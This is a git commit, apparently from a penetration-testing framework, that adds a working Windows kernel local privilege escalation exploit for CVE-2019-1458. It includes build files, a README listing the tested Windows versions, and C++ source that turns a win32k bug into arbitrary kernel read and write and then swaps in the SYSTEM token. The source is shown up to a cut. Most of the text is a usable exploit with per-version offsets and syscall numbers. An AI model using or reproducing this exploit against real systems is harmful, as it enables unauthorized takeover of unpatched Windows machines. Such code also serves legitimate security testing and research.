CVE-2019-1458 chrome sandbox escape initial commit

This commit is contained in:
Tim W 2020-07-07 18:03:03 +08:00 committed by Grant Willcox
parent 7ddae49fab
commit 12c5f4f916
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
12 changed files with 1088 additions and 7 deletions

Binary file not shown.

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.329
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2019-1458", "CVE-2019-1458.vcxproj", "{C689A87B-B910-4A13-A161-B93B40958A40}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C689A87B-B910-4A13-A161-B93B40958A40}.Debug|x64.ActiveCfg = Debug|x64
{C689A87B-B910-4A13-A161-B93B40958A40}.Debug|x64.Build.0 = Debug|x64
{C689A87B-B910-4A13-A161-B93B40958A40}.Debug|x86.ActiveCfg = Debug|Win32
{C689A87B-B910-4A13-A161-B93B40958A40}.Debug|x86.Build.0 = Debug|Win32
{C689A87B-B910-4A13-A161-B93B40958A40}.Release|x64.ActiveCfg = Release|x64
{C689A87B-B910-4A13-A161-B93B40958A40}.Release|x64.Build.0 = Release|x64
{C689A87B-B910-4A13-A161-B93B40958A40}.Release|x86.ActiveCfg = Release|Win32
{C689A87B-B910-4A13-A161-B93B40958A40}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0E89B8FA-3C44-4523-9EE1-201E178B67D1}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,237 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{c689a87b-b910-4a13-a161-b93b40958a40}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE_2019_1458</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>false</TreatWarningAsError>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="exploit.cpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="shellcode.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 nonick
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,4 @@
all:
mkdir -p ../../../../data/exploits/CVE-2019-1458
cp -vf Release/x64/CVE-2019-1458.x64.dll ../../../../data/exploits/CVE-2019-1458/exploit.dll

View File

@ -0,0 +1,28 @@
# CVE-2019-1458 Windows LPE Exploit
## Caution
* **YOU ONLY HAVE ONE CHANCE TO EXPLOIT FOR EACH KERNEL REBOOT!!!!**
## Screenshot
![exploit](https://raw.githubusercontent.com/unamer/CVE-2019-1458/master/exp.png)
## Supported Version
* Windows 2012 R2 (Tested)
* Windows 8 (Tested)
* Windows 2008 R2 x64(Tested)
* Windows 7.1 x64 (Tested)
* Windows 7 x64
* Windows 2012 x64
* Windows 2008 x64
* ALL X32 VERSION SYSTEMS ARE NOT SUPPORTED (Who uses x32 system nowadays?)
## Issues
* Kernel might crash when rebooting system after exploit
## Reference
* https://github.com/piotrflorczyk/cve-2019-1458_POC
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1458

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,378 @@
#include <stdio.h>
#include <windows.h>
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
extern "C" int NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" int NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009;
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
// one should always call va_end in the same function one calls va_start.
}
#else
#define dprintf(...)
#endif
#define SPARY_TIMES 0x1000
#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
HWND g_hwnd = 0;
ULONG_PTR g_gap = 0;
lHMValidateHandle pHmValidateHandle = NULL;
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
dprintf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
dprintf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
dprintf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
return TRUE;
}
VOID
NTAPI
RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString,
IN PCWSTR SourceString)
{
ULONG DestSize;
if (SourceString)
{
DestSize = wcslen(SourceString) * sizeof(WCHAR);
DestinationString->Length = DestSize;
DestinationString->MaximumLength = DestSize + sizeof(WCHAR);
}
else
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
DestinationString->Buffer = (PWSTR)SourceString;
DestinationString->bAnsi = FALSE;
}
void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size)
{
SetClassLongPtr(g_hwnd, g_gap, addr);
CHAR input[sizeof(ULONG_PTR)*2];
RtlSecureZeroMemory(&input, sizeof(input));
LARGE_UNICODE_STRING u;
for (int i = 0; i<sizeof(ULONG_PTR); i++)
{
input[i] = (data >> (8 * i)) & 0xff;
}
RtlInitLargeUnicodeString(&u, (PCWSTR)input);
u.Length = size;
u.MaximumLength = size;
NtUserDefSetText(g_hwnd, &u);
}
ULONG_PTR readdata(ULONG_PTR addr)
{
SetClassLongPtr(g_hwnd, g_gap, addr);
ULONG_PTR temp[2] = {0};
InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR));
return temp[0];
}
int exploit()
{
ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0;
ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10;
ULONG_PTR off_exp_tagCLS = 0;
OSVERSIONINFOW osver;
RtlSecureZeroMemory(&osver, sizeof(osver));
osver.dwOSVersionInfoSize = sizeof(osver);
RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
pRtlGetVersion(&osver);
if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
if (osver.dwMinorVersion == 0)//win2008
{
off_tagWND_pself = 0x20;
off_tagCLS_extra = 0xa0;
off_tagWND_tagCLS = 0x98;
off_tagWND_strName = 0xe0;
off_KTHREAD_EPROCESS = 0x210;
off_tagWND_parent = 0x58;
off_EPROCESS_Token = 0x208;
off_tagWND_pti = 0x10;
g_NtUserDefSetText_syscall = 0x1081;
g_NtUserMessageCall_syscall = 0x1007;
off_exp_tagCLS = 1; // stupid windows 2008
}
else if (osver.dwMinorVersion==1)
{//win7 / win2008 R2
off_tagWND_pself = 0x20;
off_tagCLS_extra = 0xa0;
off_tagWND_tagCLS = 0x98;
off_tagWND_strName = 0xe0;
off_KTHREAD_EPROCESS = 0x210;
off_tagWND_parent = 0x58;
off_EPROCESS_Token = 0x208;
off_tagWND_pti = 0x10;
g_NtUserDefSetText_syscall = 0x107f;
g_NtUserMessageCall_syscall = 0x1007;
off_exp_tagCLS = 1; // stupid windows 2008
}
else if (osver.dwMinorVersion == 2)
{
// win8/win2012
off_tagWND_pself = 0x20;
off_tagCLS_extra = 0xa0;
off_tagWND_tagCLS = 0x98;
off_tagWND_strName = 0xe0;
off_EPROCESS_Token = 0x348;
off_KTHREAD_EPROCESS = 0x220;
off_tagWND_parent = 0x58;
off_tagWND_pti = 0x10;
g_NtUserDefSetText_syscall = 0x107f;
g_NtUserMessageCall_syscall = 0x1008;
}
else if (osver.dwMinorVersion==3)
{
// win8.1 / win2012 R2
off_tagWND_pself = 0x20;
off_tagCLS_extra=0xa0;
off_tagWND_tagCLS=0x98;
off_tagWND_strName=0xe0;
off_EPROCESS_Token = 0x348;
off_KTHREAD_EPROCESS = 0x220;
off_tagWND_parent=0x58;
off_tagWND_pti=0x10;
g_NtUserDefSetText_syscall = 0x1080;
g_NtUserMessageCall_syscall = 0x1009;
}
else
{
dprintf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
return -99;
}
#else
// too lazy to support x32 version
if (osver.dwMinorVersion == 0)//win2008
{
}
else
{//win7
}
#endif
}
else
{
dprintf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
return -99;
}
if (!FindHMValidateHandle()) {
dprintf("[!] Failed to locate HmValidateHandle, exiting\n");
return 1;
}
ULONG_PTR base_alloc = 0xc00000;
ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS);
ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (temp != target_addr)
{
dprintf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
return 2;
}
target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS);
temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (temp != target_addr)
{
dprintf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
return 2;
}
const wchar_t CLASS_NAME[] = L"unamer";
WNDCLASS wc;
RtlSecureZeroMemory(&wc, sizeof(wc));
HINSTANCE hself = GetModuleHandle(0);
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = hself;
wc.lpszClassName = CLASS_NAME;
wc.cbWndExtra = 0x3000;
wc.cbClsExtra = 0x3000;
RegisterClass(&wc);
HWND hwnd;
ULONG_PTR tagWND = 0, tagCLS = 0;
INT64 gap = 0;
while (true)
{
hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
if (hwnd == NULL)
{
dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
return 3;
}
char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1);
tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
// ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow;
tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS);
gap = tagWND - tagCLS;
if (gap>0 && gap<0x100000)
{
break;
}
}
dprintf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap);
WNDCLASSEX wcx;
RtlSecureZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hself;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
dprintf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
dprintf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
dprintf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
dprintf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
// ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
// dprintf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap);
dprintf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd);
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
dprintf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS);
dprintf("[*] GetLastError = %x\n", GetLastError());
dprintf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
dprintf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
/* keybd_event(VK_MENU, 0, 0, 0);*/
dprintf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
// now cbCLSExtra is very large
// verify the oob read
ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself);
ULONG_PTR testtagWND[2] = { 0 };
InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR));
if (testtagWND[0] == tagWND)
{
ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
dprintf("[*] tagWND: 0x%p\n", tagExpWnd);
dprintf("[+] Exploit success!\n");
// fix tagCLS
g_hwnd = hwnd;
g_gap = gap - off_tagCLS_extra + off_tagWND_strName;
writedata(tagExpWnd + 0x40, 0,4);
writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8);
writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8);
ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token);
ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS
ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage
writedata(ep + off_EPROCESS_Token, token, 8);
writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8);
// fix tagWND
SetClassLongPtr(hwnd, g_gap, orig_name);
